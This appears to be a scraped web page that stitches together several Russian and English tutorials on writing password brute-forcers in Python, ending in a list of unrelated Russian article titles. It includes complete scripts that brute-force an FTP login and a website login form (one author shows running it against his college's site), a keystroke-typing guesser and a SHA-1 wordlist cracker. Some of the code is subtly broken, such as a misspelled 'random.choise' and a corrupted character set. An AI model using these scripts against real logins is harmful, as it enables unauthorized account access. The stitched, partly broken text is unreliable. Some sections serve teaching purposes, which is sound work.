Как написать брутфорс на питоне

Кодинг
49,274

Перебор пароля Python

Сегодня понадобилось написать простой код для перебора случайно сгенерированных четырехзначных паролей, для «взлома». Естественно, пароль, который мы будем «взламывать», мы введем сами, в этой же программе, ведь я не хочу создавать скрипт для брута, а лишь хочу продемонстрировать новичкам в программировании, как должен работать подобный скрипт.

Еще по теме: Взлом WiFi на Python

Для начала надо выбрать язык. Я решил выбрать Python, так как он приятней глазу, и на нем будет проще объяснить, как работает процесс перебора паролей.

Итак, начнем. Какие модули нам необходимы? Только один — random! Импортируем его.

Далее, надо определиться с переменными. Нам нужны 6.

correctPassword = «1234» # Вводим пароль, который нужно забрутить

wrongPasswords = [] # В этот список будут добавляться уже подобранные пароли, чтобы не повторяться

password = «» # В эту переменную будет записываться сгенерированный пароль,  и, если он ложный, пойдет в wrongPassword

length = 4 # Длина пароля. Эта переменная нужна будет в будущем

chars = «1234567890»  # Символы, из которых будет генерироваться пароль.

run = True # Думаю, не стоит объяснять

Вот и все необходимые переменные.

Теперь необходимо создать цикл. В нем все и будет выполняться. Также добавим в него строчку для обнуления переменной password

Переходим к самому интересному — генерации и перебору паролей.

Сначала создадим цикл for, для генерации пароля. Тут нам и пригодится переменная length.

for i in range(length):

    password += random.choise(chars)

Теперь напишем код, который будет проверять, генерировала уже программа этот пароль, или нет. Ну и проверять, идентичен ли он правильному.

if password not in wrongPasswords:

    print(password)

    if password != correctPassword:

        wrongPasswords.append(password)

    else:

        run = False

        break

print(password + » is correct»)

Вот и все! Все работает!

Надеюсь, кому-то данная статья помогла, кому-то просто была интересна.

Весь код полностью:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

import random

correctPassword = «1234»

wrongPasswords = []

password = «»

length = 4

chars = «12e4567890»

run = True

while run:

    password = «»

    for i in range(length):

        password += random.choise(chars)

    if password not in wrongPasswords:

        if password != correctPassword:

            print(password)

            wrongPasswords.append(password)

        else:

            run = False

            break

print(password + » is correct»)

Еще по теме: Простой кейлоггер на Python

ВКонтакте

Twitter

Facebook

OK

Telegram

WhatsApp

Viber

«»» Password brute-force algorithm. List of most probable passwords and english names can be found, respectively, at: — https://github.com/danielmiessler/SecLists/blob/master/Passwords/probable-v2-top12000.txt — https://github.com/dominictarr/random-name/blob/master/middle-names.txt Author: Raphael Vallat Date: May 2018 Python 3 «»» import string from itertools import product from time import time from numpy import loadtxt def product_loop(password, generator): for p in generator: if ».join(p) == password: print(nPassword:’, ».join(p)) return ».join(p) return False def bruteforce(password, max_nchar=8): «»»Password brute-force algorithm. Parameters ———- password : string To-be-found password. max_nchar : int Maximum number of characters of password. Return —— bruteforce_password : string Brute-forced password «»» print(‘1) Comparing with most common passwords / first names’) common_pass = loadtxt(‘probable-v2-top12000.txt’, dtype=str) common_names = loadtxt(‘middle-names.txt’, dtype=str) cp = [c for c in common_pass if c == password] cn = [c for c in common_names if c == password] cnl = [c.lower() for c in common_names if c.lower() == password] if len(cp) == 1: print(nPassword:’, cp) return cp if len(cn) == 1: print(nPassword:’, cn) return cn if len(cnl) == 1: print(nPassword:’, cnl) return cnl print(‘2) Digits cartesian product’) for l in range(1, 9): generator = product(string.digits, repeat=int(l)) print(«t..%d digit» % l) p = product_loop(password, generator) if p is not False: return p print(‘3) Digits + ASCII lowercase’) for l in range(1, max_nchar + 1): print(«t..%d char» % l) generator = product(string.digits + string.ascii_lowercase, repeat=int(l)) p = product_loop(password, generator) if p is not False: return p print(‘4) Digits + ASCII lower / upper + punctuation’) # If it fails, we start brute-forcing the ‘hard’ way # Same as possible_char = string.printable[:-5] all_char = string.digits + string.ascii_letters + string.punctuation for l in range(1, max_nchar + 1): print(«t..%d char» % l) generator = product(all_char, repeat=int(l)) p = product_loop(password, generator) if p is not False: return p # EXAMPLE start = time() bruteforce(‘sunshine’) # Try with ‘123456’ or ‘751345’ or ‘test2018’ end = time() print(‘Total time: %.2f seconds’ % (end start))

На чтение 4 мин Опубликовано 23.09.2020

Это руководство по брутфорсу FTP позволит вам создать свой собственный простой инструмент прямого перебора паролей FTP на  языке Python.

Полный код состоит всего из 20 строк, и инструмент достаточно прост.

Содержание

  1. Создайте новый файл Python
  2. Импортируйте FTPlib
  3. Список паролей
  4. Цикл
  5. Запуск
  6. Конечный результат

Создайте новый файл Python

Сначала создайте новый файл Python и сохраните его, это позволит вам быстрее редактировать и перемещаться по этому руководству.

Импортируйте FTPlib

FTPlib – это стандартная библиотека, используйте ее.

Запишите следующий фрагмент кода в свой файл Python.

from ftplib import FTP

Список паролей

Инструмент брута должен использовать список паролей, ведь мы не хотим вводить пароли один за другим :-).

Большие списки паролей для брутфорса | скачать бесплатно

🦴 Ahadu — Генератор списка паролей

Создайте строковое значение, которое позволит вам указать местоположение вашего password_list.

Затем мы добавим имя пользователя по умолчанию, которое мы собираемся использовать, и нам нужно будет указать целевую строку.

password_list = "my_password_list.txt"
username = "anonymous"
target = "ftp.kakoitosite.ru"

Цикл

Определите процесс, назовем его start, мы должны подготовить список, который будет содержать password_list, и нам нужно написать некоторый код, который загрузит список в созданный нами инструмент брута FTP на Python.

Добавьте следующую строку кода:

def start():
    setx = []
    f = open(password_list)
    setx = f.readlines()

Продолжаем добавлять цикл и шаги входа в систему:

for password in setx: 
        password = password.strip()
        try: 
            ftp = FTP(target)
            ftp.login(user=username, passwd = password)
            print("Success:",str(password))
            break
        except Exception as e: 
            print("Fail:",str(e),"  [X]->  ",password)

Запуск

Последний шаг, который мы сделаем, – это добавим start() в конец кода Python.

start()

Конечный результат

from ftplib import FTP
#options
password_list = "my_password_list.txt"
username = "anonymous"
target = "ftp.kakoitosite.ru"
 
def start():
    setx = []
    f = open(password_list)
    setx = f.readlines()
    for password in setx: 
        password = password.strip()
        try: 
            ftp = FTP(target)
            ftp.login(user=username, passwd = password)
            print("Success:",str(password))
            break
        except Exception as e: 
            print("Fail:",str(e),"  [X]->  ",password)
start()

¯_(ツ)_/¯

Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.

brute-force-image

Screen shot of python script running brute-force attack on my college’s website.

This post gives brief introduction to Brute Force Attack, Mechanize in Python for web browsing and explains a sample python script to brute force a website login.

Brute Force Attack

Brute force is the easiest way one can implement to recover lost passwords (Yet it can take literally ages to crack one). Basically,  this involves checking all possible combinations of passwords until the right one is found. This can be really helpful when characters in the password is known but not the correct combination, here possible combinations decrease drastically. Following paragraph gives a vague idea of how much time it can take to find right combination in the worst case scenario.

Suppose the length of password is N and we know nothing about characters present in the string, possible characters can be all alphabets (upper and lowercase), numbers (0-9) and special characters (~, @, #, $, ^), thus each character of the password string can be any of the above 67 characters which leads to a total of 67^N combinations (as you can clearly see it increases exponentially with the length). If we are brute forcing a website login, time taken significantly depends on the internet speed, for instance it can do four login checks per second, it takes nearly 58 hours to crack a password of four character length. Suppose if we know the characters, we can find the correct combination in 64 seconds, far less than previous case.

Mechanize

In the following brute-force script we use Mechanize, a python library for stateful programmatic web browsing, used for automating interaction with websites (Initially it was written for PERL users). There are many ways to install this library. Following two ways will automatically download the latest version source and install it (for linux users).

Easy Install:

easy_install mechanize

Pip:

pip install mechanize

For installing it manually you can go through their documentation at Mechanize. Here are few things you have to know about mechanize in order to understand the sample script.

1. Initializing browser object: 

import mechanize
br = mechanize.Browser()

2. Opening the login page:

response = br.open(url)

3. Selecting the required form in the page:

br.select_form("form name") #selecting forms by name
br.select_form(nr=0)        #use to select the first form in the page if it is unnamed

4. Filling the form: Assign values to the form fields

br.form['userName'] = 'user name'
br.form['password'] = 'password'

5. Submitting form:

br.method = "POST"
response = br.submit()
print response.geturl() #url to which the page has redirected after login

 To learn more about mechanize: Cheat sheet | Missing manual | Browsing in python

Sample Python script

1. Import required modules

We will use Python’s core module ‘itertools’ for generating possible password combinations.

#!/usr/bin/python
import mechanize 
import itertools

2. Initializing browse object

Initialize using mechanize.Browser( )

br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)  #no robots

3. Generating combinations

If you know characters in the password. (Go through itertools docs for more info.)

combinations = itertools.permutations("i34^UhP#",8)
#takes characters and length of string to generate as arguments(no repetition)

Otherwise (I would not recommend this for obvious reasons)

combinations =itertools.permutations("a-zA-Z0-9!@#$%^",n)

4. Establishing connection and checking the possibilities 

Here is the final python code.


This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters

Show hidden characters

#!/usr/bin/python
import mechanize
import itertools
br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
combos = itertools.permutations(«i3^4hUP-«,8)
br.open(«http://www.example.com/login/")
for x in combos:
br.select_form( nr = 0 )
br.form[‘userName’] = «user name»
br.form[‘password’] = ».join(x)
print «Checking «,br.form[‘password’]
response=br.submit()
if response.geturl()==«http://www.example.com/redirected_to_url":
#url to which the page is redirected after login
print «Correct password is «,».join(x)
break

Troubleshooting errors

mechanize._mechanize.FormNotFoundError: no form matching nr 0

Most the time i ended up getting this error even though there is a form element in the page. I thought this might be due to bad HTML in the page. Anyway you can solve this error by changing the form element in the browser object (copy the form element from the page’s HTML ). Here is the new code snippet:


This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters

Show hidden characters

#!/usr/bin/python
import mechanize
import itertools
br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
combos=itertools.permutations(«i34U^hP-«,8)
r =br.open(«https://www.example.com/login/")
for x in combos:
new_form = »’
<form method=»post» action=»index.php»>
<b>Enter the username :</b><input type=»text» name=»rollno» size=»16″ maxlength=»8″>
<b>Enter the password:</b><input type=»password» name=»pwd» size=»16″>
<input type=»submit» name=»submit» value=»Submit»>
</form>
»’
#all you have to take care is they have the same name for input fields and submit button
r.set_data(new_form)
br.set_response(r)
br.select_form( nr = 0 )
br.form[‘userName’] = «user name»
br.form[‘password’] = ».join(x)
print «Checking «,br.form[‘password’]
response=br.submit()
if response.geturl()==«http://www.example.com/redirected_to_url&quot;:
#url to which the page is redirected after login
print «Correct password is «,».join(x)
break
  • Brute force
  • Hacking
  • Mechanize
  • Python

Python для хакера. Урок №5. Пишем брутфорсер формы авторизации.

https://telete.in/hacker_sanctuary

Данный пост является продолжением рубрики «Python для хакера», предыдущие посты доступны по следующим ссылкам:

Урок №1 — telegra.ph, tgraph.io

Урок №2 — telegra.ph, tgraph.io

Урок №3 — telegra.ph, tgraph.io

Урок №4 — telegra.ph, tgraph.io

Советуем для начала ознакомиться с предыдущими уроками, чтобы понимать материал из данного и следующих уроков.

Урок 5. Пишем брутфорсер формы авторизации.

Данный урок будет посвящён созданию скрипта для брута формы авторизации. Брутить будем форму авторизации, созданную в сервере, который был разработан на прошлом уроке.

Теория.

Использовать мы будем библиотеку pwntools (про неё есть вводный урок под номером 3). Также нам понадобятся словари, возьмём топ-1000 логинов и паролей.

Подразумевается, что мы не знаем не логинов не паролей. Для брута чистых  TCP приложений (например FTP-серверов) — это достаточно реальное предположение.

Да, для брута есть специальные инструменты, которые, скорее всего, будут работать гораздо быстрее чем наш скрипт, но мы не ставим перед собой задачу разработки готового инструмента, а просто тренируемся и учимся, для того, чтобы понимать, концепции, лежащие в основе мощных инструментов.

Практика.

Итак, приступим. Нам необходимо запустить написанный нами в прошлом уроке сервер (если вы ещё не читали этот урок, то обязательно прочтите), полный код сервера можно найти на gihube канала (ссылка).

Запустим его на машине, на которой не будет запускаться наш скрипт. Можно запустить на основной машине и запускать скрипт с виртуалки, или наоборот.

Запуск сервера мы опустим, т.к. это показывалось в прошлом уроке. Также, опустим и объяснение работы сервера.

Для начала найдём словари с логинами и паролями. Для этого можно использовать очень хороший репозиторий на github’e в котором есть словари паролей и логинов, при чём разнообразных и в большом количестве (ссылка).

Для имён пользователя возьмём словарь — ссылка (вы можете взять другой)

Для паролей словарь — ссылка.

Скачиваем эти словари и помещаем их в одну папку с нашим скриптом.

Начнём писать код.

Сделаем необходимые импорты.

Для начала нам нужно написать достаточно стандартный код для сетевого клиента, а именно принятие аргументов при запуске из командной строки.

Здесь всё довольно просто. Есть 4 аргумента: хост, порт, файл с логинами, файл с паролями. Здесь всё тривиально и уже рассматривалось не один раз.

Теперь нам нужно бы получить все наши логины и пароли в виде списка (обратите внимание, что данная техника не очень хороша, если вы используете большой словарь, т.к. при считывании сразу всех значений, они будут хранится в памяти и занимать много места, но в нашем случае они будут занимать не так много). Для этого напишем короткую функцию ParseFile, которая вернёт нам список из строк, которые есть в файле.

Код достаточно простой, открываем файл, считываем всё из файла и разбиваем считанное по разделителю в виде символа переноса строки (то есть получаем отдельные строчки), закрываем файл, возвращаем полученный список. Если вы не поняли, что произошло, советую посмотреть про функции работы с файлами и функцию split.

Теперь получим наши списки и сохраним в отдельные переменные.

Отлично, пришло время подключаться и перебирать логины.

Итак мы начинаем цикл по списку из имён пользователей, т.к. при неудачном вводе сервер разрывает соединение, на каждой итерации нам надо устанавливать новое подключение. После установки подключения мы считываем данные, пока не встретим приглашения ввода имени пользователя (строка 28), после чего мы отправляем имя пользователя на сервер и ожидаем ответ, если в ответе содержится сообщение о том, что имя неверное, мы просто заканчиваем текущую итерацию и закрываем наш клиент. Если такое сообщение не пришло, то мы считаем, что был найден верный логин и заканчиваем данный цикл с выводом верного логина на экран. Запустим наш код и проверим его.

Отлично, мы нашли имя пользователя. Чтобы убрать сообщения об открытых и закрытых соединениях, можно дописать слово SILENT в конце строки запуска скрипта.

Отлично, теперь напишем код для брута пароля. При этом будем использовать логин найденный в ходе первого цикла, то есть не будем запускать скрипт два раза: для нахождения логина, для нахождения пароля, а будем запускать всего один раз для нахождения всего.

Итак, код делает практически тоже самое, что и для имени пользователя, вы можете их сравнить. Переменная  valid_username была добавлена и теперь код для нахождения имени пользователя выглядит так.

Просто сохраняем верное имя пользователя в отдельной переменной, чтобы потом её использовать в поиске пароля.

Запустим всё что мы написали.

Отлично, мы нашли логин и пароль.

Весь исходный код скрипта доступен на гитхабе канала по данной ссылке.

Данный урок подходит к концу. В следующих уроках планируется рассмотреть создание скриптов для веб-приложений, то есть простых веб-серверов и клиентов. Если у вас есть идеи, то пишите их в бота-ответчика.

Introduction: Password Brute-forcer in Python

Introduction

To be clear, while this is a tutorial for how to create a password brute-forcer, I am not condoning hacking into anyone’s systems or accounts. This is a very inefficient method which I decided to upload as I thought that many others may find it to be an interesting task (or just want some nerdy bragging points). If you wish to test it out using pyautogui: I recommend creating a website in html that does not use Capatcha and has a simple password and hosting it locally so that you can attempt to access that. Now before you continue to read on: if you want to create this entirely on your own then I do not recommend continuing to read on past the 1st section (which you will need) as this tutorial will contain many hints as this is relatively advanced programming. Likewise if you just want the code itself do not bother reading the whole (just the 1st part of the 1st section) tutorial as I attach a copy of the code below. There are also certain sections that refer to pyautogui, if you wish to only «print» or match the passwords then ignore these sections but if you want python to use your keyboard to type out the passwords then you will need to follow those instructions.

Step 1: Downloading Modules and Importing Built in Ones.

PyAutoGUI download (ignore this section if you don’t want to use the keyboard inputs) you will still need to follow this step if all you want is the code

You will need to import itertools and you may also want to import time but it is not necessary (they are both built in functions)

If you don’t want to have any more help than this I would strongly recommend looking into these modules if you are not already familiar with them.

Step 2: Create Your Starting Variables

You will need to create a string called «Alphabet» that contains all of the characters you wish to use. You could also create a list but that would take a lot longer to type out and would be no more effective.

You will also need to create a string under the name «username» that is set to either input or the username you wish to use or if you are not using PyAutoGUI you will want to set a variable called «password» and set it to user input. You do not need have a password function for PyAutoGUI as you would most likely be entering the password into a password input box so instead you have a username for the program to type out.

If you want to time the process (recommended for not using PyAutoGUI) then you will need to create a variable called «start» and assign it the value time.time()

Finally, you will need to create an integer called «CharLength» and assign it a value of 1. This will be used later to tell the in-built function itertools.products() how long the combinations should be. You do not technically need to create this variable but otherwise itertools.products runs through combinations with 0 characters which, when collecting data (e.g. averages) can mess with statistics.

This should look like this (do not read this if you want to do it for yourself):

<p>import pyautogui</p><p>Alphabet = ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-_.")</p><p>CharLength = 1</p><p>username = "pancakehax@gmail.com"</p>

or if you aren’t using PyAutoGUI:

<p>Alphabet = ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-_.")</p><p>Password = input("What is your password?n")
start = time.time()
counter = 1
</p><p>CharLength = 1</p>

Step 3: Creating the Brute-forcer Part 1

You will need to create a «for» loop that continues to run while your CharLength variables is not larger than the maximum number of characters you want (I suggest 25). This is not necessary but if you are planning on leaving it running for a long time then you would most likely want it to stop at some point as once it gets past a certain number of characters, it is most likely not working correctly.

Within this for loop you want to create a variable (i recommend calling it passwords) and assigning it the value itertools.product(Alphabet, repeat = CharLength) the variable will now be a generator from which you need to yield. Remember not to just print this as that will not work.

The way in which you print the products of a generator is:

for i in [generator name]:

<p>print(i)</p>

But this is also not yet perfect as it would return the values «(‘a’,)(‘b’,) (‘c’,) (‘d’,)» which would be less than ideal; in order to remove this problem you will need to create a string version of the output and use the «.replace» built in function to remove any parts of the output that are not part of the actual attempt. You should use this format:

i = str(i)<br>i = i.replace(",","")

After this it changes significantly depending on if you are using PyAutoGUI or not; follow the corresponding final part of the tutorial.

Step 4: Creating the Brute Forcer Part 2: With PyAutoGUI

Warning: this step is only for if you are using and have downloaded PyAutoGUI: if you have not then please use the next step instead.

You will now need to use «pyautogui.typewrite()» to type the variable you created under the name username. This is important because most sites have a username box and so you should create one that has the same but if you don’t need to use it, just ignore this part. You could do it like this:

pyautogui.typewrite(username)

Afterwards you will need to use the pyautogui functions keyDown and keyUp in order to press the enter key so that the website knows you have finished typing the username.

you will then need to do the same but instead have the program type the password (ensuring it still presses enter).

Step 5: Creating the Brute Forcer Part 2: Without PyAutoGUI

If you are not using pyautogui then you will want to check if the current attempt is equal to the password the user has entered.

If it is then you should create a variable called «end» and assign it the value time.time() then create another variable called «timetaken» and make that end — start; this tells you how long it took to find the password. Then you should tell the user how long it took to find their password as well as how many attempts.

After this you should, using the formula counter/timetaken, tell the user how many attempts were made per second.

Finally you need to print off their password so that they know the program correctly identified their password.

Step 6: How You Code Should Look at the End

If you used PyAutoGUI:

import itertools
import time

import pyautogui

Alphabet = ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-_.")

CharLength = 1

username = "pancakehax@gmail.com"
for Index in range(25):
    passwords = (itertools.product(Alphabet, repeat = Index))
	for i in passwords:
        i = str(i)
        i = i.replace("[", "")
        i = i.replace("]", "")
        i = i.replace("'", "")
        i = i.replace(" ", "")
        i = i.replace(",", "")
        i = i.replace("(", "")
        i = i.replace(")", "")
        pyautogui.typewrite(username)
        pyautogui.keyDown("enter")
        pyautogui.keyUp("enter")
        pyautogui.typewrite(i)
        pyautogui.keyDown("enter")
        pyautogui.keyUp("enter")
    Index += 1

If you did not:

<p>import itertools
import time
Alphabet = ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-_.")
Password = input("What is your password?n").

start = time.time()

counter = 1</p><p>CharLength = 1

for CharLength in range(25):
    passwords = (itertools.product(Alphabet, repeat = CharLength))
    print("n n")
    print("currently working on passwords with ", CharLength, " chars")
    print("We are currently at ", (counter / (time.time() - start)), "attempts per seconds")
    print("It has been ", time.time() - start, " seconds!")
    print("We have tried ", counter, " possible passwords!")
    for i in passwords:
        counter += 1
        i = str(i)
        i = i.replace("[", "")
        i = i.replace("]", "")
        i = i.replace("'", "")
        i = i.replace(" ", "")
        i = i.replace(",", "")
        i = i.replace("(", "")
        i = i.replace(")", "")
        if i == Password:
            end = time.time()
            timetaken = end - start
            print("Found it in ", timetaken, " seconds and ", counter, "attempts")

            print("That is ", counter / timetaken, " attempts per second!")
            print(i)
            input("Press enter when you have finished")
            exit()

Be the First to Share

Recommendations

This workshop is about making a password cracker. We will be creating a password cracker which will be using the Brute Force technique to crack the password of your choice! So, let’s get started.

Disclaimer

The sole purpose of this workshop is to help you discover various ways via which you can be attacked ( in a cyber attack ) by someone. This is solely for educational purposes and using the knowledge provided here for ulterior motives is a cybercrime. The workshop is made so that you can be more aware of how these attacks are done and can protect yourself from them.

Hack Club doesn’t promote any kind of misuse of the knowledge being provided here and won’t be responsible for your participation in any sort of unlawful activities. So using the workshop for educational purposes only is strictly advised.

Prerequisites

The workshop is for anyone familiar with Python!

python language image

You don’t need to be a Guru in Python, a basic understanding of it is more than enough!

Souce Code

The final source code for the workshop is available here. This is on repl.it, you can use repl.it too for making this workshop!

You can use the final source code to cross-check your source code!

Introduction

The questions that would be arising in your mind would be that will this thing be a universal solution to cracking passwords? How the heck would it even be working?

i take your questions gif

Okay, so before I answer thess questions, I want to introduce you to some concepts. After going through these concepts you yourself would be able to answer all your questions.

What is the Brute Force technique?

Brute Force technique is a technique in which we check all the possible solutions for a problem against the actual solution.

brute force poster

In short, think that we have a list of passwords that we think can be someone’s password, then we try all of these passwords until unless we find the right one. Bizzare right? I know it sounds really inefficient but this solution is being used already with some efficiency improvements to it ( check Appendix ) also thanks to Moore’s Law that with increasing computing power the solution is becoming more and more efficient.

I see GIF

So, to conclude we will loop through a list of guess passwords ( but some other steps are also involved ) till any guess password matches the one we are looking for! In the later section of the workshop, I will share methods to make this guessing yield more accurate results.

What is a Wordlist?

A Wordlist is basically a collection of passwords that we are going to use in a Brute Force attack!

What is the source of these Wordlists?

If you follow the news then you know that database of big and small companies is being compromised. People are hacking in to get the passwords of the actual users on these platforms so that they could have a huge database of passwords that they can use for the Brute Force Attack. These wordlists of leaked databases are available over the internet and are being used for Brute Forcing.

WordList Image

Now in this workshop, we are using a wordlist to get a general idea about how this attack works and I strongly recommend going back to the Disclaimer Section if you have skipped it for some reason!

So, what can I expect from the password cracker ( of this workshop ) ?

Okay, so we will be using a really simple Wordlist so that you can crack very weak passwords. The passwords that people keep in a hurry like “Dinosaur, Cat, Dog, etc” are something that we will be able to crack.

We are on purpose using a Wordlist which is very small so that the purpose of the workshop ( which is teaching you how to be secure on the web ) can be accomplished.

thumbs up gif

Now, in reality, Brute Force can be made to yield more accurate result by social engineering the victim ( check Appendix ).

But I want to be a Hacking God :_:

I know everyone wants to be a cool hacker who can hack almost anything, I know you want to be the real-life Mr. ROBOT! But you have to start from the base to know how the tools that you use work under the hood and the prototype that we are going to make is more than enough to give you a basic idea about how password cracking tools work.

hackerman GIF

If you have learned making websites then remember we started by making simple HTML forms and slowly made our way through. You don’t become Mark Zuckerberg in a day!

Now, I hope the above info will be more than enough to answer all your questions about the password cracker that we are going to make.

What is hashing?

The developers usually run a Hash function on your password to transform them into another form which is known as the Hash of the password.

These Hash functions take your password as an input and transform them into a hash. Now if the hash of two inputs by Hash functions ( hash functions like SHA-1 ) are the same then it implies that the two inputs are the same. So this is how they verify whether the password you entered is right or wrong!

Examples of hash functions are SHA-1 and bcrypt. Now SHA-1 shouldn’t be used for storing passwords as it is really fast and hence really easy to Bruteforce.

hasing Image

bcrypt is slow and adds salt to your password while Hashing it ( there are also some other technical details to it, you can visit Wikipedia for that ). Salt is an additional input added by the function so that unlike SHA-1 the same password will not create the same Hash. These qualities make bycrypt a better option than SHA-1 as it is harder to Brute Force.

If you want to verify credentials ( when using bcrypt hash function ) then you will have a compare function which will take the actual hash of the password and the password that the user has entered and then will yield a boolean result telling whether they are the same or not!

The Scenario!

I believe giving people real-life scenarios while doing Hacking workshops make them perform better! So, here is your scenario:

  • Assume you have landed a penetration testing contract and the web app has a vulnerability. You get access to its whole database and you have cloned it.

  • Now, you discover that the developer that they had was really not aware of how to store the passwords and they have used SHA-1 to hash the passwords!

  • Now, you are really smart and you know you can Bruteforce the database via a wordlist that you have! Now the Hack begins!

get started gif

Create cracker.py

Now, create a file cracker.py in any folder of your choice on your computer. Now, Open it inside your favorite code editor.

Imports:

The first step is to make our Python imports, so type the following inside your cracker.py file:


import hashlib
from urllib.request import urlopen

Here the following has happened:

  1. We imported hashlib, it will help us to create SHA-1 hashes.
  2. We imported urlopen from urllib.request, this method will help us to open and read our wordlist file via an URL!

Functions

Now, we are going to create individual functions for tasks like hashing, reading wordlist file and then finally for Brute Forcing!

Append the following code to your cracker.py file ( new code is separated by a ###### append the below code ###### comment )


import hashlib
from urllib.request import urlopen

############# append the below code ################ 

def readwordlist(url):
    try:
        wordlistfile = urlopen(url).read()
    except Exception as e:
        print("Hey there was some error while reading the wordlist, error:", e)
        exit()
    return wordlistfile
 
 
def hash(password):
    result = hashlib.sha1(password.encode())
    return result.hexdigest()
 
 
def bruteforce(guesspasswordlist, actual_password_hash):
    for guess_password in guesspasswordlist:
        if hash(guess_password) == actual_password_hash:
            print("Hey! your password is:", guess_password,
                  "n please change this, it was really easy to guess it (:")
            # If the password is found then it will terminate the script here
            exit()

Here the following is happening:

  1. We created readwordlist(url) function which takes an URL as a parameter and will then return us file content. If any exception is raised during this process then the program will exit() the script.

  2. The hash function will take the password as a parameter and then will return us hash of the password as a string of double length, containing only hexadecimal digits. The hashlib.sha1 function expects the argument to be of type <class ‘bytes’> which is why we are passing password.encode() as its argument.

    • The bruteforce function will take the wordlist as a List and the hash of the actual password that you want to find, and then it will loop through the wordlist for each item and will hash it and then will compare the hash with the actual password’s hash.
    • If it finds a hash equal to the actual password’s hash then it will return the equivalent passwords in the wordlist. Which will be the password we were guessing!

Completing the Script

Now, we will use these functions to write our final script.

Append the following code to your cracker.py file ( new code is separated by a ###### append the below code ###### comment )


import hashlib
from urllib.request import urlopen
 
def readwordlist(url):
    try:
        wordlistfile = urlopen(url).read()
    except Exception as e:
        print("Hey there was some error while reading the wordlist, error:", e)
        exit()
    return wordlistfile
 
 
def hash(wordlistpassword):
    result = hashlib.sha1(wordlistpassword.encode())
    return result.hexdigest()
 
 
def bruteforce(guesspasswordlist, actual_password_hash):
    for guess_password in guesspasswordlist:
        if hash(guess_password) == actual_password_hash:
            print("Hey! your password is:", guess_password,
                  "n please change this, it was really easy to guess it (:")
            # If the password is found then it will terminate the script here
            exit()
 
############# append the below code ################ 

url = 'https://raw.githubusercontent.com/berzerk0/Probable-Wordlists/master/Real-Passwords/Top12Thousand-probable-v2.txt'
actual_password = 'henry'
actual_password_hash = hash(actual_password)
 
wordlist = readwordlist(url).decode('UTF-8')
guesspasswordlist = wordlist.split('n')
 
# Running the Brute Force attack
bruteforce(guesspasswordlist, actual_password_hash)
 
# It would be executed if your password was not there in the wordlist
print("Hey! I couldn't guess this password, it was not in my wordlist, this is good news! you win (: ")
 

Here the following is happening:

  • We created a variable url that will store the URL of the wordlist that we are going to use. The actual_password variable is being used to store the password, we will try to guess this password from its hash. Actual_password_hash variable stores the hash of the actual_password.

  • wordlist variable stores the wordlist as a UTF-8 string, each password in the wordlist is separated by a «n» character. So we split this wordlist into a List and store it in guesspasswordlist variable.

  • Then we bruteforce the guesspasswordlist variable and if our wordlist contains a password which has same hash as of the actual password’s hash, then we have cracked the password and the bruteforce function will print the cracked password.

  • Else if we don’t have such a password in our wordlist then we print «Hey! I couldn’t guess this password, it was not in my wordlist, this is good news! you win (: «. This means we couldn’t guess the provided password.

Done!

Congratulations! You have successfully completed the journey of making this password cracker. I am checking the cracker to crack for hash of “henry” as a password but you can make it whatever you want.

crazy image

Now, this password cracker will be able to crack almost all dumb passwords that you can think of. These are passwords that people who are in a hurry to create an account or who don’t take security seriously keep ( I am definitely sure you know such people ).

programmer image

Running the script!

To run the Script simply double-click on it ( cracker.py file ). You can also run it from a terminal if you want. Try checking this script out with different passwords!

script final run

Next Steps!

I know it feels awesome to make it but don’t stop here, Create whatever you can from this crazy trick and share it with us in the #ship channel of Hack Club’s Slack.

nailed it gif

I am available on Hack Club’s Slack by the username Harsh Bajpai, If you have any doubt or query regarding this workshop then feel free to reach out to me!

Appendix

The workshop is done and the below information is going to supplement what you have previously learned. This section isn’t necessary for completing the workshop.

Social Engineering is the practice of making people perform some actions and then get their personal data out from them ( their name, birthday, pet’s name, favorite place, etc ).

Social Engineering Image

People generally use a combination of their personal data ( the ones discussed above ) to create their passwords, as it makes it easier to remember. Getting these data of the victim can help a person to Brute Force in a very targeted way where they will try different combinations of these data to get the victim’s password ( there are tools which help you do that ).

Rainbow Table Attack

In this attack, we use a Rainbow Table.

A rainbow table is a precomputed dictionary of plaintext passwords and their corresponding hash values that can be used to find out what plaintext password produces a particular hash ( this is an abstract definition, in order to know the technicalities visit here).

This saves us a lot of time as we are using a precomputed dictionary and not computing the hash during the run-time of the script!

Don’t be a script kiddo

The reason I believe making prototypes of these tools are important because they help you to understand how your tool works ( at least gives you a rough idea ). I know a lot of you might be thinking why not directly start with tools like John the Ripper? Sure, you can and it will be better too!

Script Kiddo Meme

But the thing is that you must also push yourself towards making some small tools of yours so the tools that you don’t appear as magic to you. Making such small prototypes also increases your technical knowledge!

Понравилась статья? Поделить с друзьями:
  • Как написать брокеру сбербанк
  • Как написать бродяга английскими буквами
  • Как написать бродилку на c
  • Как написать бровисту на запись
  • Как написать бриф пример